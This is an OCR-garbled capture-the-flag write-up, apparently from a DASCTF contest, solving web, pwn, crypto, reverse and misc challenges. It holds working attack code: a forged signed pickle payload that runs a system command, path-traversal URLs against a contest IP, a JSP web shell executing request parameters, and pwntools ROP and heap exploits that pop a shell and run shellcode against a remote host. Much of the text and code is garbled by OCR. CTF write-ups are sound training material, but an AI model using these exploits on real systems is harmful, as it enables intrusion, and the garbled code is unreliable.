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Lyrics For You

import base64
import hashlib
import hmac

import pickle

def generator(opcode: bytes):
payload = base64.b64encode (opcode)
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signature = base64.b64encode(
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hmac. new(
b"EnjoyThePlayTimel23456",
payload,
hashlib.md5

) .digest()
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)
return f"!{signature.decode()}?{payload.decode()}"
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# open —-a Calculator
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opcode="""(cos

|-
\)

system
S'/readflag > /tmp/flag'
o."'"".encode("utf-8")

print(generator (opcode))
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http://139.155.126.78:33274/lyrics?lyrics=../../../..[..]..//[tmp/flag

tomtom2
conf/tomcat-users.xm|ZEE MK S5

S3Euploads L&

1 <%@ page 1import="java.io.InputStream" %>
2 <%@ page import="java.io.InputStreamReader" %>

3 <%@ page import="java.io.BufferedReader" %>


http://139.155.126.78:33274/lyrics?lyrics=../../../../../..//tmp/flag

4 <%@ page language='"java'" contentType='"text/html; charset=UTF-8"
pageEncoding="UTF-8"%>

5 <%

6 Process p = Runtime.getRuntime().exec(request.getParameter("i"));
7 InputStream is = p.getInputStream();

8 BufferedReader reader = new BufferedReader (new InputStreamReader (is));
9 response.getWriter().println("--————-——---—- ")

10 String Lline;

11 while((line = reader.readlLine())!=null){

12 response.getWriter().println(line);

13 }

14

15 %>

mWEB-INF L&

1 <?xml version="1.0" encoding="UTF-8"7?>
2 <lh==

3 Licensed to the Apache Software Foundation (ASF) under one or more

4 contributor license agreements. See the NOTICE file distributed with

5 this work for additional information regarding copyright ownership.

6 The ASF licenses this file to You under the Apache License, Version 2.0
7 (the "License"); you may not use this file except in compliance with

8 the License. You may obtain a copy of the License at

€

10 http://www. apache.org/licenses/LICENSE-2.0

11

12 Unless required by applicable law or agreed to in writing, software

13 distributed under the License is distributed on an "AS IS" BASIS,

14 WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
15 See the License for the specific language governing permissions and

16 limitations under the License.

17 -——>

18 <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"

19 xmlns:xsi="http://www.w3.0rg/2001/XMLSchema-instance"

20 xsi:schemalLocation="http://xmlns.jcp.org/xml/ns/javaee

21 http://xmlns.jcp.org/xml/ns/javaee/web—app_3_1.xsd"
22 version="3.1"

23 metadata-complete="true">

24

25 <display-name>Welcome to Tomcat</display-name>

26 <description>

27 Welcome to Tomcat

28 </description>

29 <!-- JSP Servlet Configuration —-—>



30 <servlet>

31 <servlet-name>jsp</serviet-name>

32 <servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
33 <init-param>

34 <param-name>fork</param-name>

35 <param-value>false</param-value>

36 </init-param>

37 <init-param>

38 <param-name>xpoweredBy</param-name>
39 <param-value>false</param-value>

40 </init-param>

41 <load-on-startup>3</load-on-startup>
42 </servlet>

43

44 <!-- Mapping .html to JSP Servlet —-->
45 <servlet-mapping>

46 <servlet-name>jsp</serviet-name>

47 <url-pattern>*.xml</url-pattern>

48 </servlet-mapping>

49 </web-app>

50

SAEIA1R]/myapp/uploads/web.xml?i=cat /ffffffllllllaaagggg

Pwn

pstack

from pwn import *

context(arch="amd64', os='linux', log_level='debug')
s=process('./pwn")

elf=ELF('./pwn")

libc=ELF("./libc.so.6")

leave_ret=0x4006DB
pivot_read=0x4006C4
fake_stack=0x601800

© o N o b~ W N

e
(NG

s.sendafter (b"overflow?\n",b"a"x0x30+p64 (fake_stack+0x30)+p64 (pivot_read))
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pause ()
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rdi=0x0000000000400773
rsi_rl5=0x0000000000400771

=
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17 rbp=0x00000000004005b0
18 s.send(flat([

19 rdi,elf.got['puts'],

20 elf.plt['puts'],

21 rbp, fake_stack+0x50+0x30,
22 pivot_read,

23 fake_stack-8,leave_ret
24 1))

25 Tlibc.address=u64(s.recvuntil(b"\x7f")+b"\x00\x00")-1ibc.sym.puts
26 success(hex(libc.address))

27 rdx_rbx=1l1ibc.address+0x00000000000904a9

28 rsi=libc.address+0x000000000002be51

29 ogg=libc.address+0xebc88

30 s.send(flat([

31 rdi,fake_stack+0x78,

32 libc.sym.system,

33 0,0,

34 b"/bin/sh\x00",

35 fake_stack+0x50-8,leave_ret
36 1))

37 s.interactive()

Hard sandbox

from pwn import *

context(arch="amd64', os='linux', log_level='debug')
#s=process("./pwn")

s=remote("49.234.30.109",9999)

elf=ELF("./pwn'")

libc=ELF("./libc-2.36.s0")

def menu(ch):
s.sendlineafter (b">",str(ch).encode())
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def add(idx,size):

menu (1)

T
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s.sendlineafter(b"Index: ",str(idx).encode())
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s.sendlineafter(bh"Size: ",str(size).encode())

=
o u

def delete(idx):
menu (2)
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s.sendlineafter (b"Index: ",str(idx).encode())
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def edit(idx,content):

menu (3)

N
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23
24
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29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68

s.sendlineafter (b"Index: ",str(idx).encode())

s.sendafter (b"Content: ",content)

def show(idx):

if

menu (4)

s.sendlineafter (b"Index: ",str(idx).encode())

return s.recvline(keepends=False)

_nhame__=="__main__":
pause ()

add (0,0x600)
add(1,0x610)

add (2,0x5f0)
delete(0)

libc.address=u64 (show(0)+b"\x00\x00") - (0x7fb54895dccO-0x7fb548767000)

success (hex(libc.address))
#pause ()

add(3,0x610)
edit(0,b"a"*0x10)

heap_base=u64(show(0) [-6:]+b"\x00\x00")-0x290

success (hex (heap_base))

delete(2)
edit(0,flat([

0,0,0,libc.sym._IO_Tlist_

1))
add (4,0x700)

all-0x20,

_I0_list_all->file->_chain @ 2+0x58

heap_base

OxecO® <- _IO_l1ist_all _chain controllable

Oxedd <- write start

Oxec0+0x180 <- fully controlled file structure
Oxec0+0x180+0x180 <- fully controlled _wide_data

magic=1l1ibc.address+0x160E56

rdi=0x0000000000023b65+1ibc.
rsi=0x00000000000251be+1ibc.
rdx=0x0000000000166262+1ibc.
rax=0x000000000003fa43+1ibc.
syscall_ret=0x000000000008cc36+1libc.address

shellcode=f"""

address
address
address
address



69 mov rl4,{heap_base}

70 mov rax,__NR_fork

71 syscall

72 test rax,rax

73 jnz parent

74 child:

75

76 mov rdi,3

77 call qword ptr [rl4+0x2a0+0x48]
78 mov rax,__NR_open

79 mov rdi,{heap_base+0x2a0}
80 Xor rsi,rsi

81 xor rdx,rdx

82 syscall

83 // now open should be ok, but leave a err msg here
84 cmp rax,0

85 jge rnw

86 // jmp if fine, loop if failed
87 print_errno:

88 neg rax

89 mov rl1l5,rax

90 mov rdi,1

91 mov rsi,{heap_base+0x2a0+0x38}
92 mov rdx,8

93 jmp loop

94 loop_start:

95 sub r15,1

96 mov rax,__NR_write

97 syscall

98 loop:

99 cmp r15,0

100 jne loop_start

101 jmp final_exit

102

103 rnw:

104 mov rdi,rax

105 mov rsi,{heap_base+0x1000}
106 mov rdx,0x100

107 mov rax,__NR_read

108 syscall

109 mov rdi,1

110 mov rax,__NR_write

111 syscall

112 final_exit:

113 mov rax,__NR_exit

114 xor rdi,rdi

115 syscall



116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162

parent:

mov rdi,0x4206

mov rsi,rax

xor rdx,rdx

mov rcx,0x80

call gword ptr [r14+0x2a0+0x50]

mov rax,__NR_wait4

xor rdi,rdi

Xor rsi,rsi

xor rdx,rdx

syscall

mov rax,__NR_exit

xor rdi,rdi

syscall
nn
file=flat({

0:0xfbad1800,

0x28:1,

0xd8:1libc.sym._IO0_wfile_jumps,

0xa0:heap_base+Oxec0+0x180+0x180,
},filler=b"\x00",length=0x180)
widedata=flat({

0x18:0,

0x30:0,

0x38:heap_base+0x2a0,

0Oxe0:heap_base+0xec0+0x180+0x180,

Ox68:magic,
},filler=b"\x00",length=0x100)
file=bytes(file)

edit(2,flat([
b"\x00"*x0x58,
heap_base+0xec0+0x180,

1) . Ljust (0x170,b"\x00")

+file

+widedata

)

edit(0,flat({
0:"/flag\xe0",
8:flat([0,0,1]),
0x20:libc.sym.setcontext+61,
0x28:"/flag.txt",
0x38:"counter\n",
Ox48:1libc.sym.sleep,
Ox50:libc.sym.ptrace,
Oxa8:rdi+1,
Oxa0:heap_base+0x3a0,



163 Ox100:flat([

164 rdi,heap_base,

165 rsi,0x20000,

166 rdx,7,

167 libc.sym.mprotect,

168 rdi+l,heap_base+0x3a0+0x48,
169 ])+asm(shellcode)

170 },filler=b"\x00"))

171 menu (5)

172 s.interactive()

Crypto

TH_Curve

from Crypto.Util.number {import long_to_bytes

p 10297529403524403127640670200603184608844065065952536889
a =2

G (8879931045098533901543131944615620692971716807984752065,
4106024239449946134453673742202491320614591684229547464)

6 Q = (6784278627340957151283066249316785477882888190582875173,
6078603759966354224428976716568980670702790051879661797)

a A W NP

Points = [G,Q]

# partl
10 PR.<a,d> = PolynomialRing(Zmod(p))
11 fs = []
12
13 for (x,y) in Points:
14 f = a*xx"3 + yA3 +1 - d*xxy
15 fs.append(f)
16

17 I = Ideal(fs)

18 print(I.groebner_basis())

19

20 # [a + 10297529403524403127640670200603184608844065065952536887, d +
1479820594120129452095352438208591171300417777611349689 ]

21 '

22 # part2

23 def PohlingHellan(order,Q,P):

24 factors, exponents = zip(xfactor(order))

25 print(f'[+] order = {order}"')

26 primes = [factors[i] » exponents[i] for i in range(len(factors))][:-2]
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28

29
30
31
32
33
34
35

36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65

66
67
68
69
70

print(f'[+] primes = {primes}')

primes = [9, 49, 11, 19, 29, 1361, 6421, 3376343, 1815576031,
295369272787, 60869967041981]

dlogs = []

for fac in primes:

t = int(int(P.order()) // int(fac))
leg = diScrete_log(t*Q,t*P,operationzn+u)
dlogs += [dlog]

print("factor: "+str(fac)+", Discrete Log: "+str(dlog)) #calculates

discrete logarithm for each prime order

#dlogs = [3,0,0,7,8,225,3560,837823,1495286767,292393302300,50872199818501 ]

1

= crt(dlogs,primes)

return 1

factor:
factor:
factor:
factor:
factor:
factor:
factor:
factor:
factor:
factor:
factor:

o
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88
€ = 1

9, Discrete Log: 3
49, Discrete Log:
11, Discrete Log:
19, Discrete Log:

o N © O

29, Discrete Log:
1361, Discrete Log: 225

6421, Discrete Log: 3560

3376343, Discrete Log: 837823

1815576031, Discrete Log: 1495286767
295369272787, Discrete Log: 292393302300
60869967041981, Discrete Log: 50872199818501

17708809404273675545317762394593437543647288341187200

X, ¥, z = QQ["x,y,z"].gens()

eq = a
phi =
E = ph
F = GF
fx, fy
phiP =
z))

EG = p
EQ = p
key =

print(

* x N3 +yr3+cHkzN3-dxx*kyx*xz
EllipticCurve_from_cubic(eq)
i.codomain() .change_ring(GF(p))

(p)
, fz = map(lambda f: f.change_ring(F), phi.defining_polynomials())

lambda x, y, z=1: E(fx(x, y, z) / fz(x, y, z), fy(x, y, z) / fz(x, vy,

hiP(xG)
hiP (xQ)

PohlingHellan(EG.order (), EQ, EG)
f'[+] key = {key}")



71 print(f'[+] flag = {long_to_bytes(key)}"')

72
BabyCurve

1 from attacks.ecc import mov_attack

2 #git clone https://github.com/jvdsn/crypto-attacks.git

3 from Crypto.Cipher import AES

4 Admport hashlib

5

6 def add_curve(P, Q, K):

7 a, d, p =K

8 if P == (0, 0):

9 return Q

10 if Q == (0, 0):

11 return P

12 x1l, yl1 =P

13 X2, y2 = Q

14 X3 = (x1 * y2 + yl * x2) * pow(l - d * x1 **x 2 % x2 *x 2, -1, p) % p
15 y3 = ((yl x y2 + 2 x a * x1 * x2) * (1 +d *x x1 **x 2 * x2 *x 2) + 2 x d *

X1 *x X2 * (X1 ** 2 + X2 %% 2)) * pow(

16 (1 —d*x x1 %% 2 x X2 *xx 2) *x 2, -1, p) % p

17 return x3, y3

18

19

20 def mul_curve(n, P, K):

21 R = (0, 0)

22 while n > 0:

23 ifn % == 1:

24 R = add_curve(R, P, K)

25 P = add_curve(P, P, K)

26 n=n}// 2

27 return R

28

29 a = 46

30 d = 20

31 pl = 826100030683243954408990060837
32 K1 = (a, d, pl)
33 Gl = (560766116033078013304693968735, 756416322956623525864568772142)
34

35 P1 = (528578510004630596855654721810, 639541632629313772609548040620)
36 Q1 = (819520958411405887240280598475, 76906957256966244725924513645)
37

38 for _ 1in range(2x*32):
39 R = mul_curve(_, G1, K1)
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72
73
74
75
76
T
78
79
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if R == P1:
print(f'c = {_}")
C:

break

for _ 1in range(2**32):
R = mul_curve(_, G1, K1)
if R == Ql:
print(f'b = {_}")
b =

break

def PohlingHellan(order,Q,P):
factors, exponents = zip(*factor(order))
print(f'[+] order = {order}')
primes = [factors[i] » exponents[i] for i in range(len(factors))]
print(f'[+] primes = {primes}')
dlogs = []

for fac in primes:
t = int(int(P.order()) // int(fac))
dlog = discrete_log(txQ,t*P,operation="+")
dlogs += [dlog]
print("factor: "+str(fac)+", Discrete Log: "+str(dlog)) #calculates
discrete logarithm for each prime order

1 = crt(dlogs,primes)
return 1

def AES_decrypt(k, 1iv, ct):
key = hashlib.sha256(str(k).encode()).digest()[:16]
iv = bytes.fromhex(iv)
ct = bytes.fromhex(ct)
cipher = AES.new(key, AES.MODE_CBC, 1iv)
pt = cipher.decrypt(ct)
return pt

p = 770311352827455849356512448287

E = EllipticCurve(GF(p), [-c, b])

G = E(584273268656071313022845392380,105970580903682721429154563816)
P = E(401055814681171318348566474726,293186309252428491012795616690)
assert G == E.gens()[0]

n = G.order ()

key = mov_attack.attack(G, P)
print(f'[+] key = {key}")
assert Gxkey ==



86 #[+] key = 2951856998192356
87 data = {'iv': 'baelb42f174443d009c8d3al576f07d6"', 'cipher':
'ff34da7a65854ed75342fd4ad178bf577bd622df9850a24fd63elda557b4b8a4d '}
88 print(AES_decrypt(key,datal['iv'],data['cipher']))
TheoremPlus
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from Crypto.Util.number import *

from gmpy2 import *
p=13700575088786104257967552013704451294559882278353462961923910754180761588257
2096858257909592145785126427095471870315367525847725823941391135851384962433640
9525460936879458489865289583736918609957532978716196387800753916694951173889051
34584566094832853663864356912013900594295175075123578366393694884648557429
q=13700575088786104257967552013704451294559882278353462961923910754180761588257
2096858257909592145785126427095471870315367525847725823941391135851384962433640
9525460936879458489865289583736918609957532978716196387800753916694951173889051
34584566094832853663864356912013900594295175075123578366393694884648557219

n =
1877057577634663685711798971670015955655330860382731801359158725519838312937090
7809760732011993542700529211200756354110539398800399971400004000898098091275284
2352258986988025555664168629757585354526246470170572866750784258147846826750126
7138434026708760480305099510753448106927928121327737123427271019528064774703330
2773076094600917583038429969629948198841325080329081838681126456119415461246986
7451626875696808252964347569081111481657877681720001317046153140460059162233704
2956714299219270288882083703285010470194865873601052726124619951259552099504220
5818856177310544178940343722756848658912946025299687434514029951

c =
2587907790257921446754254335909686808394701314827194535473852919883847207482301
5601957006225427843164219677681481561463550992104000532819667825985516802605135
4723327064641444077610994124886918561235779786986029388011460964932540963723963
1730174236109860697072051436591823617268725493768867776466173052640366393488873
5052071987704973733451161653347793810317128321366821783640905478754796450942742
3746034231858783227430477719346883327881645934413223101870357827419200001656065
3148923056635076144189403004763127515475672112627790796376564776321840115465990
308933303392198690356639928538984862967102082126458529748355566

phi=(p-1)*(q-1)

e=36421873

d=invert(e,phi)

m=pow(c,d,n)

print(long_to_bytes(m))



Reverse

docCrack

hex_values = [
Ox000010CO, OxO0001180, OxOO001500, OxO00001100, OxO00014CO, OxO00001040,
OXO00001FO0, Ox00001440,

3 Ox00001940, Ox00001980, OxOO001600, OXxOOOOOD8O, OxOOOO1DOO, OXxOC001600,
Ox000018CO, OxO0601980,

4 OX00001A40, Ox00001800, OxO0001880, OXx00001D40, OXOO0OO1AG0, OXxO0001C80,
Ox00001D0O, OxO0000980,

5 Ox00000980, OxOOOOO980, OXxOOO01600, O0xO00001140, OxOOOOOD8O, OxO6001COO0,
Ox00001980, Ox00001D40,

6 Ox00001880, Ox00001600, OXxOO0OOODCO, OXxO0001840, OXxO0001600, Ox00001280,
Ox00001980, Ox00001900,

7 Ox00001D40, OxO000ODCO, OxOO001600, O0x00001440, OxOOOOOD8O, OxOO001D40,

Ox00001C80, OxOO060OC80,
Ox00001880, OxO0001DOO, OXxOOOOO980, OXxOOOOO980, OXxOOOOO980, OXOOOO1ESO,

]
10
11 result = ''.join(chr((value >> 6) M 7) for value 1in hex_values)
12
13 print(result)
14
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BRFAHR"flag"PTUEMZRENERI, MEBEAEEERAIMSRBMTHERE R, shEMERES
i, FILMENZERVZEER forotl3, Z/a¥aidoublestB#ITEREIRZER,

Fedump TREHE, $Zitpidoublezt,

1 #include<stdio.h>

2 char data[] = {

3 OxA4, Ox70, Ox3D, Ox0A, OxD7, OxOA, Ox80, O0x40, OxF5, Ox4A,
Ox59, 0Ox86, Ox38, OxE6, 0x42, 0xCO, OxD8, Ox81, Ox73, 0x46,
0x94, 0x76, Ox21, O0x40, 0x54, O0x74, O0x24, O0x97, OxFF, 0x90,
0x25, OxCO, OxA3, 0x23, OxB9, OxFC, 0x87, OxF4, OxF4, OxBF,
OxCO, Ox5B, Ox20, Ox41, OxF1l, O0x93, 0x34, 0xCO, Ox19, OxCA,
Ox89, 0x76, Ox15, OxF2, Ox1B, 0x40, Ox3F, O0xC6, OxDC, OxB5,
0x84, 0x4C, 0x3D, OxCO, Ox18, Ox95, OxD4, Ox09, Ox68, OxE2,
10 Ox2F, 0x40, 0xB5, 0x15, OxFB, OxCB, OXEE, Ox69, 0x35, 0x40,
11 OxB6, 0Ox84, Ox7C, OxDO, OxB3, 0x79, O0x3D, 0x40, OxXEA, 0x21,

© 0o N o »u b



12 Ox1A, OxDD, 0Ox41, 0x2C, O0x06, OxCO, Ox7C, OxOA, Ox80, OxF1,
13 0x0C, Ox5A, Ox1lA, 0xCO, OxBF, 0x2B, 0x82, OxFF, OxAD, OxE4,
14 0x10, oxCo, Ox69, 0x35, O0x24, OxEE, OxBl, 0xD4, 0x1C, 0xCO,
15 Ox41, Ox65, OxFC, OxFB, Ox8C, OxAB, 0x21, 0x40, OxD8, 0x64,
16 Ox8D, Ox7A, Ox88, 0Ox86, Ox11l, OxCO, Ox16, OxFB, OxCB, OXEE,
17 OxC9, Ox63, Ox33, OxCO, OXOE, Ox4F, OxAF, 0x94, 0x65, Ox58,
18 0x32, Ox40, O0x48, O0x1B, O0x47, OxAC, OxC5, 0x87, Ox1B, 0x40,
19 Ox64, OxCC, Ox5D, Ox4B, OxC8, Ox87, Ox2D, OxCO, OxD5, Ox09,
20 0x68, 0x22, O0x6C, 0x38, O0x2D, 0x40, 0x20, O0x41, OxFl, Ox63,
21 OxCC, OxBD, Ox38, 0x40, O0x74, 0x24, 0x97, OxFF, 0x90, Ox3E,
22 ox27, oxCo, Ox6D, OxA8, Ox18, OxE7, Ox6F, 0x82, 0x23, 0xCO,
23 OxCE, 0x19, 0Ox51, OxDA, 0Ox1B, 0x7C, 0x28, 0x40, O0x3C, Ox4E,
24 0xD1, 0x91, Ox5C, OxDE, Ox2A, 0x40, 0x90, O0x31, Ox77, Ox2D,
25 0x21, Ox77, Ox41l, OxCO, OxXAE, 0x47, OxEl, Ox7A, O0x14, OxDE,
26 Ox41, oxCo, Ox68, OxB3, OxEA, 0x73, OxB5, 0x15, O0x34, 0xCO,
27 OxD5, Ox78, OxE9, 0Ox26, 0x31, OxD8, 0x43, 0x40, O0x1B, Ox2F,
28 OxDD, 0x24, 0x06, OxEl, O0x35, 0x40, OxF8, OxC2, Ox64, OxAA,
29 0x60, OxD4, Ox3A, 0x40}

30 1int main()

31 {

32 double *p = (double *)data;

33 for(int i=0;1i<=32;1i++) printf("%f,",p[0]);
34 return 0;

35 }

BERZETIRINT, RBECRAREE, EE&ApythondscipyFE, BIMKAIEKE, &fErotl3

for (1 =@; 1 < v12; ++1 )

{

for ( j =0; j < v12; ++j )

{
vll = (double)*(int *)std::vector<int>::operator[](j);
v2 = cos(((double)j + @©.5) * ((double)i * 3.141592653589793) / (double)vli2);
vie = vZ * vl1i;
v3 = (double *)std::vector<double>::operator[](i);
*v3 = *v3 + vile;

¥

if (1)
vd = sqrt(2.0 / (double)vi2);

else
vd = sqrt(1.0 / (double)vl2);

v9 = v4;

v5 = (double *)std::vector<double>::operator[](i);
*¥y5 = *y5 ¥ y9;

¥

return z21;

1 from scipy.fftpack import -didct
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10
11
12
13

Misc

hiden

A=
[513.355000,-37.798600,8.731600,-10.783200,-1.309700,-20.577900,6.986410,-29.29
8900,15.942200,21.413800,29.475400,-2.771610,-6.587940,-4.223320,-7.207710,8.83
5060,-4.381380,-19.389800,18.345300,6.882590,-14.765200,14.610200,24.741400,-11
.622200,-9.754760,12.242400,13.434300,-34.930700,-35.735000,-20.084800,39.68900
0,21.879000,26.829600]
c = idct(A, norm="ortho")
result=[int(round(i)) for i in c]
flag=[]
for char in result:
if char>=ord("A") and char<=ord("Z"):
flag.append (ord("A")+((char-ord("A")+13)%26))
elif char>=ord("a") and char<=ord("z"):
flag.append(ord("a")+((char-ord("a")+13)%26))
else:
flag.append(char)
print(bytes(flag))

287 — DAY 60=()+() . txtBI XA, PR EFERYErot4T7+rotl3



- Length: -
Recipe B E input I S e =Y I

GK4368 ;?:C
ROT47
) | ;G8F 34C2WVDIPE]8<8V[ VB@VX ?7 Di
Amount
a7 8<8@B?8? 1 D]6C?BWX
DGICBIC2 1 JC2W8<8BB?8?X
8<80B?8? 1 DGJIC@IC2]830@=8C7Wb[ @=8C36BC6 1 VIG88ICVX Z 8<8OB?8?
ROT13
;G8F ;?:C]34C2WQ8C78];?:Q[ Q6@QX ?7 Di
Rotate lower case chars Rotate upper case chars ?886G@ 1 D]EC84262K7UX
;?:0B?8? 1 @=8C?667=W D]6C?BDEPKCTW\ X X

Amount D36 G2BC< G2 6?2ECWIC2W8<8OB?8PXXi
Rotate numbers 13
;?:8B?8?,G2BC< Y c. 1 8<8@B?8?,G2BC<.

;G8F ;?:C]34C2WQFGBC2];7?:Q[ Q;@QX ?7 Di
D]7C84?6?K7W?886G@X
D];6GBCD6?KCTW; ?: BB 282X

start: ) time: 2ms

Output end: 461 length: ai}/ a rD m

length: 461  lines:

ra
La

import wave

with open('flag.txt', 'rb') as f:
txt_data = f.read()
file_len len(txt_data)
txt_data = file_len.to_bytes(3, byteorder = 'little') + txt_data

with wave.open("test.wav", "rb") as f:
attrib = f.getparams()
wav_data = bytearray( f.readframes(-1) )

for index in range(len(txt_data)):
wav_data[index * 4] = txt_data[index]

with wave.open("hiden.wav", "wb") as f:

H f.setparams(attrib)

Auto Bake f.writeframes(wav_data)

STEP

‘REHARE Elag (BFFRRMERXEIREZ K, XBEHEREA 7 range(1000))

import wave
with wave.open("hiden.wav", "rb") as f:
attrib = f.getparams()
wav_data = bytearray( f.readframes(-1) )
g=11
for dindex in range(1000):

s+=chr(wav_data[index * 4])

o N o b~ WN R

print(s)

Koki%now you find me,so the flag give you

DASCTF{12jk1-456m78-90n1234}yyAyy1yyCyyvayyxyyeoyy

A —HRIERIERE_2
SHEROBETH, AMIHEOYIRR



A ARCHPR 454 - 75% -

P RER) EENH

X

““ﬁﬁ@%@ol’

17 Fig! 1t  E#mst yafnw
hNEER) ZIPRAR JACE/AR] 3% Ijzﬁxﬂ
|C:\Users\jyzho\Desktop\6 (1).zip 8h v
BE kE =# BN Bihir EE SR
Ejj‘ﬁ[ilﬁl,@ - I
A4 BEmRINKE! X
Advanced Archive Password Recovery $iitH{E B
Sy0O% 753,951
Sitatial 39ms
ERE (OS5 AL 19,332,076 Z
XA NHFRIOS 753951 s
+7 0% 373533393531 s
wl 1377... Vv e

EFETE: . F
O%+E =6, 2it: 1,000,000, 24ME: 753,951
%

iARC}-FR version 4.54 (c) 1997-2012 ElcomSoft Co. Ltd.
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8% QR Research — N
iR IE8M #wEIH)

MIEFER S
H(30%) j Auto j

hit 2= R~T
Auto - 4 ﬂ
[ Auto

0 B (11.128)-(503 223 8- (07 516 1)-(511 85272)
B4 5 I % IE 1%
i

g
gHiﬁ%%ﬁ:H, ;ﬁﬁ%:{}
AE:
NRF@WQUKTQ123458WWWF @WWWFX#WWQXNWXNU

RERLERk
PIBEEINARArot13, BEIHNEUBERNZEE, #iEEkee. kdbxfkeepassiTH



Recipe Sl ] Input

NRF UKTQ12345&WWWF@WWWF X#WWOXNWXNU
ROT13 S n gnQukTQ e Q

Rotate lower case chars Rotate upper case chars

Amount

D Rotate numbers 13

<>

Output

AES@IDHXGD12345&3335@333SK#JIDKAJKAH

A ATEtitle BEIEIA, EALIERPHEEX



@ Edit Entry X

Q( Edit Entry

You are editing an existing entry.

General Advanced Properties Auto-Type History

Title: passisDASCTF Icon: | S22
User name: |passisDASCTF

Password: 0000000 OOOOOOOOOOOOS e
Repeat: 00000000000000000000° &
Quality: B 100 bits 20 ch. | @
URL:

Notes: 2R 1 Al AR B £ laght, FLALAE I

[ ] Expires: [2024/ 8/27 0:00:00 B | &

%Tnnls 0K Cancel




@ View Entry (Read-Only) XK

Q( View Entry (Read-Only)

You are viewing an entry.

General Advanced Properties Auto—Type History

S8 @) Edit Entry String X

Edit Entry String Field

Edit one of the entry's string fields.

A string field consists of a name and a value. The name should
describe the field (e.g. "BIC”, "Postal Address”, ...) and must
be unique (within the entry). For example, an entry cannot have
Name: aes ™
File
Atia Value: |U2FsdGVEX193h7iNsZs3RsLxH+V1 zztkdS+fBy2ZQfzHT7TUo413hSWpl
MV+GeLpA
Gf1X1QuPTUSqIkOY7xJNOA==
Protect value in process memor {3;
Help 0K Cancel
g&STnnls 0K Cancel

fEhttp://www.esjson.com/aesEncrypt.htm| Ef#Z15Zflag


http://www.esjson.com/aesEncrypt.html

BX > INF&EEE > AESHIRINGESE

XIFRONEERRR:  AES)IZREE  DESIIZREE  RCAIIZEMEZE  RabbitZfEE:  TripleDes/IZizEr MDS5]EE URL16HEHIN2E JSTEE JSiEE v

U2FsdGVkX193h7iNsZs3RsLxH+V1zztkdS+fBy2ZQfzH77U04I3hSWpIMV+GcLpAGAXIQUPTUSQIKOY7xJN9A==

Y
DR : DASCTF WARiHER w Bk
DASCTF{snsnndjahenanheanjjskk 12235}
4

so much

Bifee 7 MINERIC2hpZnQh.ad 1R X 4, XHE I base64fiF— T8 EIshift!, XHEH
key:1234567 really?

“£ 5 ZET LB RIERNKeyMiZ RN 123456 THIE) B R {Eshift, BNI@#$% &
FAFTK Imageré&2iddecrypt/G1E3i:

A::essData FTK Imager 4.7.1.4
File View Mode Help
R ™ B [=# % 2 Mount Image To Drive X [
Evidence Tree File List
| Add Image |
Name .
Imagg File:
D -czhpZth-decrypted.adl
Mount Type: Logical Only ~
Drive Letter: Next Available (H:) &
Mount Method: File System / Read Only v
D:\AAACTF\ych\so+muchffi#4
Mount
Mapped Image List
Custom Content Sources x fappediiase=s
Evidence:File System|Path|... Options Drive Method Partition L |
G: File System/... File System [ 1 -
Unmount
|
New| Edit Remove RemoveAll C Closel
Custom ...
For User Guide, press F1

ZEAMZR . cryptoXtt, ERENBEAMIAERM, FIF—H344PMXM, EFHKEELR, BE|
B LU 01 B F T



import os
list = ['']x344
i=0
for j in range(344):
list[j] = os.path.getmtime('G:\\'"+str(j)+'.crypto')

O© 0o N O U b W N

print(list)
flag = "'
for i in range(344):
10 if(str(list[i]) == '1628151585.73009"'):
11 flag += '0'
12 else:
13 flag += '1'
14 print(flag)
15 tmp = "'
16 for k in range(len(flag)):
17 tmp += flagl[k]
18 if len(tmp) == 8:
19 print(chr(int(tmp,2)),end="")
20 tmp = "
21

BT R the_key_is_700229c053b4ebbcfla3dcc37c389c4fa

Z [EBREncryptoX MNREITEFAY0.cryptofll.cryptofi@®, wiA_LEAIkey, AILUZEZEIflaghymmEh
pa

DASCTF{85235bd803c2a I} 0662b771396bce9968f}

PiFrieflag: DASCTF{85235bd803¢c2a0662b771396bce9968f}

Al

ERE
data-analyl

REBEKRBcsvXHRITEIRTANA], FRRERRXH sV HRIZERutf-8, FILIAnotepadiT 2
By, BEHAMEHNRE

1 dmport pandas as pd



20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

import csv

with open("person_data.csv","r",encoding="utf-8") as csvfile:

reader = csv.reader(csvfile)
data = list(reader)

line_index = 0

for line 1in data:

temp = [0]

* 8

if line_index ==

line_index += 1

continue

else:

for i 1

if line[di].disnumeric() and int(line[i]) <=10000:

eli

elif ord(line[i][0]) <= 57 and len(line[i]) == 18:

#identification

eli

elif line[i].isnumeric() and len(line[i]) == 8:

elif line[i].isnumeric() and len(line[i]) == 11:

eli

n range(8):

temp[0] = linel[di]
f len(line[i]) == 32: #password hash
temp[2] = linel[di]

temp[6] = linel[i]
f len(line[i]) == 1: #gender
temp[4] = linel[di]

temp[5] = linel[di]
temp[7] = linel[di]

f ord(line[i][0]) <= 123: #FHFH
temp[1l] = linel[di]

else: #¥%E
temp[3] = linel[di]
line[0] = temp[0O]
line[1l] = temp[1]
line[2] = temp[2]
line[3] = temp[3]
line[4] = temp[4]
line[5] = temp[5]
line[6] = temp[6]
line[7] = temp[7]
with open('recover.csv', 'w', newline='"') as file:

csv_writer

= csv.writer(file)

csv_writer.writerows(data)

#s

#birthday

#phone number



X EEX:

SR EAE csvixt ST (R EAEHIUAERLA sooox.csv 8% xooctxt, E oo REXHERER)
AR PRSI

[& recover.csv

HEREN
w®S

4

LERiE
2024-08-27 07:52:58

2024-08-27 07:48:33

2024-08-27 07:48:06

2024-08-27 07:44:16

XHE
recover.csv

2.txt

person_data2.

csv

persondata2_
data.csv

LERE

LisEREE
Lfemah
BREXHREHEER

EHREXHREHEER

BREXHREHEER

O

Drop file here or click to upload

AE(ESEL)
99.720%

0.000%

0.000%

0.000%

FLAG
DASCTF{72869911165594752956778884826327}

DASCTF{give_you_flag_when_score>95%}

DASCTF{(give_you_flag_when_score>95%}

